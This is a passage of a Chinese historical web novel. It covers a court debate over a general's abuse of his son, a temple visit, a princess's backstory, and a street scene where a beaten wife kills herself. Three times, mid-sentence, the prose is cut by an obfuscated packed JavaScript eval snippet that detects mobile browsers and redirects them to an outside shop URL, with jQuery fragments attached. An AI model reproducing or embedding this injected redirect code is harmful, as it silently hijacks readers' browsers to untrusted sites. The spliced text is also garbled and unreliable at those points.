修令曦用完膳,侧倚床栏闭目养神,道:“我坐着休息一会,不必一直在屋里候着我,我这里没什么事情,有需要我再唤你。” 仆人应道:“是,二公子小人就在这周围,您有事叫一声就成。” 等他出去了,何怀幸才说话:“二哥,大夫让你好好将养着,你就别瞎操心了,等你把伤养好了再说。” 修令曦道:“我知道你担心我,但是怀幸理解一下二哥,我没有办法眼睁睁看着你消失。这点伤对我来说只是小事,一点皮肉伤而已,无足挂齿。” “二哥,你在托大,这哪是一点皮肉伤!”何怀幸叹气道:“可是去了也不一定有用,我们也不一定能找得到那个老道士,都这么多年过去,说不定早都不在了。” 修令曦是执意要去的,他说:“去了才知道,明日我们去问问,万一有希望呢?” 何怀幸犹豫片刻,道:“那就姑且一试,不过,你不能擅自出府,明日必须让人陪同,如果有意外,也好应付。” 她可不想再经历昨日那样的状况。 “等老师回来,我会同他说的。” 此时,政和殿是吵得不可开交。 段蘅上书弹劾修文私下重刑虐待亲子,枉为人父,品德堪忧。 御史大夫申明申大人向来憎恶那些品性不堪的武将,但凡抓住机会,必然不会错失。 “虽说父子有亲,长幼有序,但无故苛待,私刑于身,这也不合礼法吧,当年拜师宴臣看将军府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349332|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二公子德才兼备、貌状俊雅,是个得体有分寸的人,丞相大人又素有松竹君子的名号,教出的学生必然也是端方君子,将军此举看来是极为不满段相的授学呀。” 太尉向良反驳道:“御史此言未免有些主观了吧,人不可貌相,且不说国有国法,家有家规,此乃是家事,岂有外人多言的道理,他定然是有做得不对的地方,修将军才会这般惩治他。政和殿是议天下民生之事,区区家事有何可奏?军中战马一事尚未解决,还有功夫操心这等杂事,我看申大人莫不是闲得慌!” “你……”身为御史的申明大人被他叱言,心中不服,道:“军马一案你向良身为太尉统管军事,首当其冲有监察失职之罪,竟还有脸提此事!” 太尉向良辩道:“最当问责的理应是太仆寺,军马供应、马税交易等可都是程大人负责的,若不是侯爷上报,我等还被瞒在鼓里,让那蛮夷小人当猴戏耍。太仆寺从未向臣提及任何有关军马失窃的问题,程大人身居其位毫无作为,罪同丘山,理当问责!” 龙椅上穗德帝英眉紧锁,由于常年的汤药加上服用丹药不断,除去威严之外,更多的是给人一种阴沉和羸弱的感觉。 “太仆呢,可有辩解?” 太仆丞程规声手持笏板出列,跪道:“臣有罪,无可辩。蛮夷挑衅我朝,意图破坏合约,已是不争的事实,他们勾结内臣暗度陈仓,企图击垮我朝防线,战马遗失,骑兵削减,一旦战起我军呈被动状态,后果不堪设想,是臣失职,置天子、朝廷和百姓于危地,臣难辞其咎,罪该万死!” 穗德帝道:“此事让廷尉寺去办,务必纠察出背后之人!太仆丞革职,先押下狱,等事情查清楚了,再行定论。” 廷尉正王闲大人道:“臣领命。” 穗德帝问:“大司马将军可有话要说?” 修文行礼道:“臣习惯了,已无可辩驳。但臣仍想多说一句,诸位文士能安然无恙站在此地,莫要忘记是边境将士浴血奋战换来的,诸位向来对我等武将有偏见,我们为将之人刀尖讨命,自是不比某些人清风明月般高高在上。另外臣教训犬子,是因为他违抗军令,军令如山,一视同仁!” 段蘅立马接道:“军法和私刑老臣还是分得清的,将军分明是下了死手,臣的学生是着一身血衣倒在相府门前,府内家仆皆可作证,此事长史也知亦可作证,经府医验伤刑罚力度并非寻常家法,堪比刑狱,敢问将军是什么样的错,要他一个未及冠的少年人受如此之重的责罚?” “我朝虽未有律法规定为父者,不得虐打子女,对此也未有约束及判决,但在朝的诸位都是受过名儒夫子的教导,何为仁厚,何为仁爱,竟会不知吗?陛下,百姓们未受过教化者甚多,臣调查京都乃至各城都有过不少虐死子女的事情,臣请编撰新法,增加一条父母者不可虐打子女,否则依律判罚。” 一时间殿内针落可闻,众臣都等着穗德帝的反应,不敢开口多言。 “这本家事,无需如此,自古以来尊卑长幼有序,立法有违三纲伦理。国事尚不能清明,当务之急还是先解决关于战马失窃和后期军马部署的问题,还望丞相多多操心,以朝事为重。” 众臣高呼:“陛下圣明!” 段蘅心知陛下无此意,只能作罢,道:“老臣自当尽力,不负圣望。” 对于这些上位者来说这只是一条无足轻重的法案,没有利益也就无关紧要,甚至他们可能还因为担心会触碰到他们的权利,而联合否定律法的新增和改动。 可对于只因三纲五常、尊卑伦理不得不屈服受虐的位低权弱者,这是唯一的保护手段。 15. 公主 下了朝御史与丞相一同出了政和殿,两人身着黑色朝服,一个腰系银印青绶、头戴獬豸冠,一个金印紫绶戴高山冠,各有仪态。 申明大人拾阶而下,轻声道: “段相方才的提议甚好,前不久我与内人游湖,遇见一刁民竟当众殴打自己的孩子,那稚儿不过四五岁年纪,她父亲下水挖藕,她就在筏上接,一边将藕码得整整齐齐,后面不过是因为掉下去两根,就挨了她父亲两巴掌。我家夫人看不过去,上前劝说,谁知那人道‘孩子是我养的,要打要骂与你们何干?哪条规矩定了我不能打她!’呛得我们哑口无言。” “贵夫人心善。”段蘅问:“既如此,那御史大人为何不站出来支持?” 天阴沉沉的,冷风阵阵吹。 申明叉手拢袖,道:“陛下如今对朝事多少有些孤行己见了,丞相您的话一出,我便知陛下是不会同意的,满朝文武也无人会支持。男子的忮忌之心远比女子更重,更难以揣摩,尤其是君主。两位王爷还是而立之年,陛下已至不惑,心中对子嗣一事始终介怀,不然也不会多年对两位王爷的亲事如此避讳。” 二人迎着冷风走,袖袍被吹得飞起。 “先帝在时,我受王之托,入书阁为五位皇子传道解惑,与皇子们多有接触,彼时还是二皇子的陛下最是温逊谦让,与其余几位皇子兄友弟恭。”段蘅眉头微蹙,似有些不解,叹道:“自从陛下登基……到底是圣心难测。” 申明左右张望,两人离人群有些距离,他压低声音,说:“段相为何会认为亲手杀死自己弟弟的人能是温逊之人?若非先帝早立大皇子为太子,只怕明争暗斗更多,可惜先太子亡得不是时候,先皇驾崩,本应太子登基却一夜暴亡,这其中渊源,谁人道得清?” “御史慎言。”段蘅心事沉重,道:“内廷动荡,于国于民都不是好事,最苦的还是国朝的百姓。” 申明自知话言语僭越,于是不再多言,只问:“军马之事,相爷如何作想?” 段蘅轻摇头,道:“府上有些事,我需先回府一趟,晚些时候再去廷尉府看看王大人有何进展。” 申明道:“太仆大人那边我去看一眼。” 两人出了宫。 段蘅回府便去看了修令曦。 “云頫可好些了?” 修令曦趴在塌上,叫了声老师。 段蘅道:“你就别动了。” 修令曦道:“老师,明日我想去一趟观里。” 段蘅在塌边坐下,问:“可是为你表妹一事?” “是。”修令曦点头。 段蘅默了半晌,道:“老师猜你心中定有必须去的理由,否则也不会负伤卧床仍执着此事,明日让管家陪你一道去吧,我也放心些。” 修令曦谢过老师。 段蘅交代他好好休息,便离开了。 何怀幸看着段相离开的背影,道:“二哥,你老师对你很好。” 修令曦目光落在门边,说:“是。承蒙老师关照,我才能有如今的模样,老师为我请良师,待我如子,这份恩情我铭感五内,日后定当一一报答。” 第二日,管家备了马车和软垫陪修令曦一同去自在观,又特意吩咐车夫驾车稳当些。 “二公子身上有伤,千万小心,慢一点。” 车夫应是。 到了道观门前,管家搀扶修令曦下马车,眼前青砖灰瓦,鎏金匾额,刻着自在观三个字。 青石阶上人来人往,络绎不绝。 父亲不信鬼神之说,他从前极少出入这些道观寺庙。 修令曦拾阶而上,顺着人流上去,领了香去主殿敬拜,里面供奉着三官大帝。 殿内香火不绝,轻烟缭绕,神像威严庄重,戴宝冠着彩袍,持器端坐。 修令曦一礼三叩,心中念道:“神明在上,信士修令曦虔诚叩拜,愿佑吾妹长生顺遂。” 何怀幸立在他身侧,手作子午诀,弯身俯拜。 管家在外面等,敬完香,修令曦出了殿门,说:“刘叔,我想自己在观内走走。” 刘管家跟在他身侧下台阶,道:“二公子身上还有伤,不宜久动,将才拜礼可有牵到后背的伤?” 修令曦道:“没有,我注意着的,刘叔不用担心我,我自小习武,身体也比一般人强健一些,我就在里面走走,很快就回去。” 刘管家劝不过他,说:“好,那公子小心,我就在这主殿旁边等您。” “好。” 修令曦带着何怀幸往后边去。 “先前你碰见的那个老道士是在道观门口吗?” 何怀幸答:“是的,刚才我也有留意,没有看见哪个像他。” 修令曦道:“我们去后殿那些地方看看。” 两人逛遍了观内都没有看到那个道士的身影。 自在观最深处有一座湖,名三元,养了许多锦鲤,偶有善信投币许愿。 修令曦倚在石柱上,探出头望着湖中水影。 何怀幸和他并肩而立,说:“看来还是得找人问问才行。” 水中金鲤灵动,湖面倒影涟漪,只映出一个清俊男子的身影。 修令曦正欲答话,身后传来一道清冷的女声。 “湖深水冷,二公子小心一头栽下去。” 修令曦回过头,看清来人,行了一礼。 “见过公主。” 何怀幸也一同回头,迎面走来的女子眉目清冷,面容昳丽,她穿着一身青色道袍,木簪盘发于顶,十分素净。 “既不在宫中,何必多礼,在观里唤我玉女道长便好。” 但公主毕竟是公主,岂敢不敬,修令曦一时不知如何应答。 南宫玉女问道:“二公子来此,所求何事?” 修令曦回道:“想找一个人。” “找人?”南宫玉女问:“什么人?” 何怀幸在一旁道:“一个卖香囊的老道士,鹤发童颜,笑眯眯的。” 修令曦复述一遍。 南宫玉女问道:“你找我师叔做什么?” 何怀幸眼前一亮,问:“你认识他?他现在哪儿?” 修令曦再复述,加了句:“有些事情,我想问他。” 南宫玉女道:“他不在,外出野游了,没有人知道他在哪儿。” 何怀幸泄了气,肉眼可见的失望。 修令曦问:“能知道他什么时候回来吗?我有很重要的事情想拜托道长解惑。” 南宫玉女道:“不知道,师叔野游向来没定性。你可以写条子,等师叔回来,我转交他。或者等他回来,我再传信给你。” 事关怀幸,修令曦不敢轻易假手于人,道:“道长若是回来,还望公主能告知,令曦在此谢过。” 南宫玉女颔首道:“若我师叔回来我立刻通知你,我还有事,告辞。” 修令曦:“多谢公主。” 待人走远,何怀幸问:“二哥认识公主?” 修令曦回:“几年前有过一面之缘。” 何怀幸感叹:“公主的记性真好。” 又问:“你们怎么认识的?” 说起来他与康平公主也勉强算“旧相识”。 修令曦道:“陛下召我入宫,恰逢公主也在,出宫的时候下了雨,我们正好一处躲雨。” 何怀幸好奇心起,说:“二哥你仔细讲讲,公主是个怎样的人?” 修令曦看了看她,道:“你对她那么好奇?” “公主的身世也是个传奇啊。”何怀幸语气央求道:“你快讲讲,二哥。” 修令曦无奈,将自己所知道的都娓娓道来。 康平公主本是孤女,而非当今陛下的血脉。 惠仁元年,陛下登基后却一病不起,太后请不藏道长入宫做法驱邪。 不藏道长推算后,让太后找一个七月十五日,在子时一刻出生的女婴,必须是命里不带亲缘的,意思就是无父无母的孤女。 找到之后,将她收作义女,然后由自在观抚养,在祖师爷座下修行,日夜为陛下供香祈福,如此或可破解陛下身上的邪煞之气。 以防有人想从中鱼目混珠,太后只让金缕卫暗中探寻。 最后在乱葬岗发现了一个弃婴,神奇的是那女娃手臂上,刻着她的生辰八字,看样子像生来就带着。 金缕卫将人带回宫中,不藏道长确认过后,太后立即让宗正将人入皇室谱牒,冠以国姓。 不藏道长替她取名为南宫玉女,太后当日赐封号为康平公主。 收养康平公主后,陛下逐渐好转。 后来因宫中妃子小产、难产频发,甚至出过死胎之事。 不藏道长再次入宫除祟,说是因为陛下命格太硬,又造过血亲杀孽,煞气太重,所以克子。 从那之后,穗德帝已经对子嗣不抱期望了,开始研究起长生之道。 康平公主久居自在观,不染俗事,气质清冷,为人却性情平和,通透豁达,陛下也信得过她。 陛下研究长生道后,她便奉命和师傅不藏道长炼制长生丹。 当年拜师宴后,陛下好奇他有什么本事,竟让他一向低调的丞相,收个学生如此大张旗鼓。 原先他还担心陛下会不会为难他,结果碰巧那日,是康平公主来为陛下诵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349333|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读道经的日子。 陛下让他一道陪同,听康平公主诵读了半日《常清常静经》,什么也没问,便放他回去了。 出了昭德殿,两人同行向宫外去,还没出宫,就下起了雨。 夏季的雨来势凶猛,哗啦啦落下来,宫廊离他们几仗远,根本来不及避雨。 修令曦连忙脱下外衫,递给康平公主。 南宫玉女隔着滂沱大雨,眼神淡漠地看向他,雨滴渗入她的青纱外卦。 “得罪了公主。” 雨势太大,修令曦哪顾得了那么多礼数,情急之下直接盖在她头上,自己朝宫廊跑去。 宫女和太监远远撑着伞赶来。 南宫玉女抬手轻轻撩开衣衫,一双娥眉微蹙,顶着他的衣衫站在雨中。 那人淋着雨跑,身影在重重雨幕里,变得模糊不清。 太监跑近,倾伞替修令曦遮雨。 宫女则越过二人,急急跑向康平公主。 修令曦躲进伞里,那名太监心里犹豫了一下,他今日忘记带多余的帕子了,只带了自己那一块。 纠结一番,太监最后还是道:“小公子若不介意,奴这有干净的帕子,可以擦一擦。” “多谢你。” 修令曦接过方帕,擦掉脸和头发上的雨水。 太监低眉顺眼道:“小公子客气,是奴应该做的。” 南宫玉女取下盖着的衣衫,宫女不顾自己淋湿,及时递过雨伞,连忙道:“公主恕罪,奴来迟了。” 宫女伸手想接过她手臂上湿掉的衣衫。 南宫玉女在伞下缓步而行,说了句:“无碍。” “是,公主。”宫女收回手便不敢多言,见她衣衫上沾了雨水,问道:“公主,奴带您去宫殿换件衣裳吧?” 南宫玉女长年在道观,但穗德帝还是在宫中给她赐了座宫殿,里面一应俱全,陛下赏了不少上等的物件,连那柄极其珍贵的檀香紫檀拂尘,也一并赐给了康平公主。 紫檀难得,历来专供帝王所用。 这柄拂尘,全天下估计找不出第二把,陛下却给了康平公主,可见对她的喜爱。 只不过那宫殿,南宫玉女一次也没去过,拂尘也一眼没看过。 她不喜这宫廷,桂殿兰宫,不及她观中陋室。 她伸手出伞外,雨打在她掌心,很舒服。 雨依旧下得大,但不似将才那么急,开始有变小的趋势。 南宫玉女借口道:“不用,师傅和观中还有事忙,不好耽误,一会雨停了我就走。” “是。” 宫女在她身旁仔细撑着伞,生怕公主再淋到一点雨。 到了廊下,太监收了伞,修令曦用帕子随意擦了擦衣衫。 太监眼尖,适时出声道:“小公子给奴吧。” 修令曦迟疑了一下:“这帕子湿了,恐怕会沾湿你的衣裳。” 太监心里生出些暖意,回道:“多谢小公子体谅,但这帕子是奴母亲留给小人的……” “抱歉。”修令曦将帕子还给他。 太监双手接过,道:“小公子无须道歉,是奴不识抬举,拂了公子好意,小公子不怪罪奴,已是施恩。” 修令曦正想说什么,发现康平公主已至,朝她道:“公主。刚才雨下的突然,唐突之处,还请公主恕罪。” 太监埋首,宫女收了伞,两人退到一旁,静待吩咐。 南宫玉女将湿透的衣衫还给他,抖了抖洇湿的衣袖,道:“应该是我感谢公子才是,修公子璞玉浑金,怪不得丞相如此看重。” 修令曦规规矩矩地回道:“公主谬赞了。” 太监心中一动,原来他便是将军府的二公子修令曦。 雨势太大,不便行走,两人停在廊下等雨停。 雨噼里啪啦打在石板上,溅起水花,后面两人谁也没再开口说话。 直到雨淅淅沥沥变小了,南宫玉女问道:“修公子,可要一道走?” 修令曦抬手道:“公主先请。” 南宫玉女转身走入雨中,宫女撑伞跟着。 太监给修令曦打伞,走在后边。 将近宫门口时,雨完全停住,南宫玉女便让宫女和太监回去。 等他们走远,修令曦开口道:“今日还得多谢公主,及时出现救场。” 南宫玉女道:“今日本就是我入宫为父皇诵经祈福的日子,何来这一谢,是修公子自己时运好,与旁人无关。” 修令曦一愣,道:“不管怎么样,我还是谢过公主。” 出了宫门,两人分道扬镳,修令曦直奔相府,南宫玉女乘马车回了道观。 16. 自戕 “感觉这个康平公主是个不错的人。” 听完,何怀幸如是说道。 “那就等公主的消息,我们再来罢。” 修令曦却似乎有些心不在焉,含糊地应了一声。 三元湖里的锦鲤一团一团游开,隐约露出湖心底下的图案。 那好像是一个八卦阵图。 修令曦想要看得更清楚的时候,鱼儿又做一团追逐着围在湖心,挡住了湖边人的视线。 “你怎么了二哥?”何怀幸顺着他的目光看过去,只看到一群游作团的锦鲤,瞧他脸色不太好,以为是他伤口痛,问道:“是不是后背的伤又痛了?出来走得太久,刘叔也该等着急了,我们快回去吧。回去让府医换药,看看伤口怎么样了?” 修令曦轻摇头,说:“我没事。” 何怀幸虚扶着他,担心他的伤口,有些着急想走,催他:“走吧二哥,回去吧。” “好。” 两人并肩同行回到主殿那边。 管家刘叔坐在银杏树下的石板凳上等人,见二公子过来,上前扶他。 “二公子,该回去了。” 修令曦回道:“嗯,回去吧。” 出了道观,刘叔搬了马凳放下,扶着他上马车,修令曦踩着马凳上马车,一路上神不守舍。 忽然,马车一阵晃动,外面传来喧杂的吵闹声。 幸好身后有软垫护着,减轻了伤口撞击的疼痛,修令曦出声问:“怎么了刘叔?” 刘管家回道:“无事公子,你坐着别动,车夫下去牵马安抚了。这有人闹事,不小心惊到了咱们的马,公子没碰着吧?” 修令曦道:“我没事,绕开点吧,小心别伤到人。” “不行!”何怀幸穿进马车内,面色焦躁,说:“二哥,外面闹事的是个男子,当街殴打自己的妻女,所有人都在看热闹,气死我了!竟然没人觉得有问题?二哥,你下去帮帮她们。” 修令曦怔愣地看着她,只说了一个好字。 他掀开车帘出去,车夫在前面牵着马通行,管家见他出来,忙道:“二公子怎么出来了?” 修令曦问:“何人闹事?” 刘管家道:“是一男子。” 修令曦说:“停下,去看看。” 管家拦住他,说:“二公子,咱们还是不要插手为好,万一给相爷落下什么口实,让人在殿前朝陛下参一本,恐怕会给相爷造成困扰。” 车夫牵着马没有停下,缓缓前行,修令曦道:“我自会向老师请罪。” 他轻松跃下马车。 “二公子!”刘管家看得心一惊,朝车夫道:“快停下!” 刘管家下了马车朝二公子追去。 何怀幸脚步急切走在修令曦前面,修令曦拨开人群大步跟上她。 她穿过那些看热闹的人,那名男子对着地上的母女二人趾高气昂。 母亲紧紧护住自己的小女儿将她搂在怀里,两人身上都是被撕扯踢踹过的痕迹,灰尘扑扑的样子。 为母的女子脸上巴掌印还没有消,鼻青脸肿的,被打得看不清原本的样貌。 何怀幸站在她们身旁,气得咬牙切齿,冷冷盯着眼前的男子。 修令曦挡在她们中间与何怀幸站在一处。 “当众殴打,扰乱京都秩序,这是违反律令,要入廷尉大牢的。” 那人听到这话一点都不怕,叫嚣道:“你是什么人?我教训妻女,与你何干!” 修令曦叱道:“你当街打人就是不对,既然不对,那我们就要管!” 那人好像听了什么笑话似的,乐不可支,一脸不屑地看他,道:“小子,哪条律令规定了,我不能打她们!” 修令曦表情凝住。 众人围着她们哄笑。 那声音狂妄刺耳,显得她们无知、可笑。 何怀幸站在一旁面无表情,心底的愤恨使她颤栗,束缚着她的绳索从来没有消失,即使她已经死了。 何怀幸听着他们的笑声,心中恨意滔天,恨不得撕烂他们的嘴,拔了他们的舌头。 那男子高声道:“成了亲她们就是老子的,我想打就打!哪个敢管!甭说这老娘们还敢偷家里的钱财,我怎么打不得了!大家伙说是不是!” 众人起哄应声:“就是,就是。” “你个毛头小子没成过亲不懂吧?”那男子面带揶揄,指着地上的女子,道:“成了亲,她就是你的,想怎么样随你便,别说廷尉府,说句不敬的话,就算是陛下也管不着!” 在这些声音里,女子微弱的声音被掩盖。 她说:“我没有偷钱。” 女子抱着小女儿默默痛哭。 何怀幸听到了她的声音,心中触动不已。 女子婚嫁不由自己,和离是耻辱,改嫁是贱卖。 婚内丈夫动辄打骂,她们有苦难言,众人都当笑话看,轻视她、谩骂她、指责她、漠视她。 连号称天子犯法与庶民同罪的律令,也将她们排除在外。 女子隐藏在家族背后,他们教她们要奉献,为了一族荣辱。可是那荣光不照耀在她们身上,她们有的只是暗无天日的,没有盼头的日子。 她们生来的使命只有成婚嫁人,困在四四方方的宅院里,任由他们支使玩弄,让她们去争去夺他们的一点点怜惜。 不是这样的,她们可以走得更高更远。 是那些刽子手,是他们,是那些虚伪无能的他们,封死了她们向上的云梯。 因为他们害怕,害怕棋子的顿悟和反杀,那将会是致命的一击,绝没有转圜余地。 何怀幸怒不可遏,骂道:“你们这群污臜的东西,怎么不去死!!最该去死的就是你们这些散发恶臭的烂泥!” 修令曦面色铁青,一动不动。 那名男子见他还不肯走,气氛也逐渐紧张起来。 “还要多管闲事,就别怪我不客气!” 那男子瘦弱不堪,只是用蛮力,花拳绣腿而已,修令曦是练家子,轻轻松松拿下他,将他反手控住。 何怀幸漠声道:“二哥,也扇他几个巴掌,叫他尝尝滋味。” 修令曦依言,抬手给他几个响亮的耳光,道:“你比那恶臭污泥还叫人恶心,今日不惩治你,我枉作兄长!” 管家好不容易挤进来,就看到他拎着人打。 “二公子!” 管家赶到他身边,劝道:“管也管了,人也打了,就这样吧,回去吧公子。” 修令曦没理会,甩开那男子,吓得众人连连后退,那男子就摔在地上,痛得在地上嗷嗷打滚。 “杀人了!杀人了!仗着自己是个世家公子,就随便当街打人,还有没有王法了!” 何怀幸气得肺都要炸了,她蹲在女子面前,道:“他是不是经常打你们。” 修令曦替她传话。 那女子点头。 何怀幸问:“你想和离吗?” 女子迟疑,随后点头又摇头。 何怀幸十分清楚她的顾虑。 “二哥,她和离之后的生计是个问题,如果还在京都城,她的家人和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349334|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆家这些人都不会放过她,也免不了众人口诛笔伐,她还带着孩子,生活定然艰难,可能就只有死路一条。” 何怀幸觉得自己真的太弱小了,如果她能强大起来,就能帮助更多的人,可惜她现在连活着都做不到。 修令曦也不能带她回相府,将军府更加不可能,甚至反而让她们处境更艰难。 两人一时愁眉莫展。 女子看出他的为难,哽声道:“多谢公子出手相助,只是身为女子,我命如此,公子也帮不了许多,与你无关,就回去吧。” 管家也在旁催道:“公子走吧,你身上还有伤,要回去换药了。” 修令曦朝她歉疚道:“不是我,是我小妹让我来帮你的,她很抱歉不能救助于你,我也是。” 那女子浅浅一笑,说:“多谢令妹,也多谢公子,令妹是心善之人,希望她能活得自在些。” 她表情决绝,抱着孩子,戕地而亡。 周遭惊呼声一片。 那名男子喊着:“杀人了,杀人了!是你杀了她!” 管家怒道:“你在胡说什么!去把他嘴堵上!” 他指使了几个仆从上前压制那男子,用布团堵住了他的嘴。 鲜血染红了青石板路,渗透进间隙的泥土里,淹没了缝隙之中冒头的杂草。 何怀幸呆愣着,看着一地鲜血,那流动的红色,刺痛了她的眼睛。 血流到她脚下,她陷在这滩血水里动弹不得。 修令曦也怔在原地不动。 从始至终,那女子怀里的小女儿都没有发出一点声音。 直到这一刻,一直被抱在怀中的孩子,才脱离了母亲的怀抱,那是一个四五岁的女娃,她脸色苍白,了无生气。 变故来得太快,周围乱糟糟的,惊慌声,叫喊声,凌乱的脚步逃窜,还有那远远观望的一双双眼睛。 有人报了官,官兵们带走了母女的尸体,还有那个丈夫,以及修令曦。 很快简单的审讯就结束了。 他们都被放了出来。 那男子大摇大摆从修令曦和何怀幸身边走过。 管家在外面等他,说:“幸好最后没什么事,以后公子还是不要多管闲事的好,万一沾染上什么罪名对公子和相府都没有好处。” 何怀幸反问:“所以,人就只做对自己有好处的事情是吗?哪怕身居高位,哪怕可以伸以援手,也要作壁上观,一副事不关己高高挂起的姿态是吗?” 修令曦一字一句复言。 管家回道:“公子,我很可怜那女子,但如果不能有万全之策,并且有足够的能力,您还是不要轻易插手旁人的事,否则最后只能是自身难保,还要连累你的老师。很多事情不是不想管,只是各人有各人的难处,众人处事皆不易,没有谁是容易的,居高位之人,一旦踏错,便是粉身碎骨。” 何怀幸争论道:“可是天下弱民和女子,难道不是更加不易吗?那些人有什么选择的余地,还不是被人像猪狗一样宰割,连朝廷律令都不把她们放在其内,比起那些高高在上的无奈,难道不是她们更加艰难吗?为官为臣,为君为王,若不能为天下民众所想,只拘泥权力和财富,这样的朝廷,天不亡它,是天无理!天若有道,自会来让人取代他们。” 后面的话,修令曦不敢在此处放言,谋逆之论,是大逆不道。 管家叹道:“二公子还小,许多事情不懂,将来自会明白。” 何怀幸已经无意争吵,只剩满腔愤懑和无力,一路沉默不语,神色怏怏跟着修令曦回了府。 17. 供灯 两人一路无话,回到相府后,府医给修令曦换药。 看到伤口渗血,府医有些生气,再三交代切忌乱跑,嘱他卧床静养。 何怀幸在塌前与他静静对望,两人相对无言,看着府医清理伤口,她的眼神飘忽,眼前浮现的是那个女子的神情和那一地涌出的热血,还有早已没了声息的女童。 等到所有人都退出去,屋内静悄悄,她轻声询问:“二哥,这世道太压抑了,是不是?” 她的语气很轻很轻,同为女子的惺惺相惜让她很难不悲痛,这样的一场死亡见证,生命的骤然泯灭,深深叩痛了她的心。 那沉甸甸的痛压在她细小的喉管上,承载着这样巨大的重量,再多的话就说不出来了。 修令曦哑口无言,就像刚才那男子问他哪条律令时一样,他回答不了。 他也没有资格和立场回答,从某种角度来说,在那杆天秤上,他也是众多受益人之一。 苍白稚嫩的脸在他脑海里挥之不去,死去的女子绝望的神情也同样刻在他心里。 他再度沉默。 何怀幸也没有再说话,抱膝缩在塌边。 修令曦犹豫半晌,抬手隔空摸了摸她的头,安慰道:“也许将来,这一切都会被改变。” 何怀幸久久不语,目光落在塌角边的一只蚂蚁上,怔然道:“愿这天地终属于女子。” 她心里似乎下了什么决定,望着小小的蚂蚁,迷茫的眼神中露出些许清明,像是穿透浓雾的晞光。 修令曦肯定道:“会的。” 翌日。 何怀幸没有出现,无论修令曦怎么喊,后面几天她都不再出现了。 她彻底消失了。 修令曦攥紧手里的香囊,坐在塌边,总是在空空如也的房间一遍一遍喊她。 从最初的习惯性叫一声,到迟迟不见她现身的惊慌、和焦躁不安,最后一点点失去希望。 段蘅来看他,问他这几日休养得如何,这些天段蘅忙于朝事,并不常有空探望他。 “老师,”修令曦起身回道:“府医今早换药说伤口恢复得不错。” “那便好……坐吧,”段蘅轻轻拍了拍他手臂,迟疑问道:“听管家他们说,这几日你常屏退下人在屋内喊着谁人的名字?你可是有什么心结不能散解?是与你那位早逝的表妹有关吗?不妨同老师讲一讲,好过闷在心中不是?” 修令曦抿唇不语。 段蘅陪他坐着,耐心等他主动道明。 修令曦问:“老师信鬼神之说吗?” 段蘅缓慢开口道:“子不语,怪力乱神。世间天地之大,千奇百怪的事不少,云頫具体指的是什么样的事?” 修令曦喉结滚动,艰涩道:“我能看见已逝之人。” 段蘅面色一骇,但很快恢复如常,说:“何时开始的?” “就这几日,她一直都在我身边。”修令曦自嘲般一笑,说:“老师也觉得有些耸人听闻吧,可是前几天我的的确确能看到她,还能同她对话。” 他极其认真地道:“她就真真切切站在我眼前,只是碰不着,旁人更看不见。” 段蘅默了片刻,道:“你说的老师信,能有此奇遇,何尝不是幸事一桩?你师母离世这些年,我也盼望能再见她一面,可惜我连做梦都很少。怀念故人的心情,老师理解。” 修令曦眼神黯淡,道:“可是我现在也见不到她了。” 段蘅劝慰:“逝者已去,入往生轮回,生者何苦自哀,应该替她高兴才是,只盼她重得一世安乐。” 修令曦默默点头。 二人又闲谈了几句,段蘅让他好好养伤别多想,便离开了。 半个月后,修令曦后背的伤已经好很多,他独自去了一躺自在观,供了一盏往生灯。 奇怪的是供的麻油灯点了三次,每次都是刚放上供台就灭了。 替他点灯的那位师兄也觉得有些不寻常,问道:“小友是替谁人供灯?” 修令曦:“我家小妹。” 那位师兄看了看他,少年人还未及冠,欠身道了声节哀,问:“令妹生前可有未了之事?” 修令曦沉思片刻,熄灭的麻油灯散发着淡淡清香的气味,混合着降真香的浓郁清醇,让人心神俱安。 他说:“我从前和她不亲厚,关于她的许多事情我都不了解。我只知道她是在出嫁的路上遭人残害而亡,我想应当是极痛苦的。她从来没有出过远门,更没有碰过刀剑,那时候她一个人肯定很害怕。” 那位师兄说:“小友心中愧疚?” 他嗯了一声,俊秀眉间藏着愁绪,说:“表妹生前常关心我,我总是对她很冷淡,不曾顾及她,慢慢我们才变得生分了。现在我想起以前和她在一起的时候,很后悔没有好好和她说话。她是一个……爱笑又安静的小姑娘,她很善良。 修令曦想起在祠堂何怀幸对他说的话,想起她倔强的眼神,语气中尽是不甘,其中夹杂着隐忍的恨意。 “她向往去更远的地方,她心中也有抱负。她最大的遗憾就是被困在方寸宅院,草草一生,不得自在。如果有来生,愿她能翱翔于天,来去都自由,不再受拘束。倘若诸神能实现,我甘心奉献自己成为她的石梯,祈佑她步步高飞。” “小友能有这份心,也算慰藉亡者。” 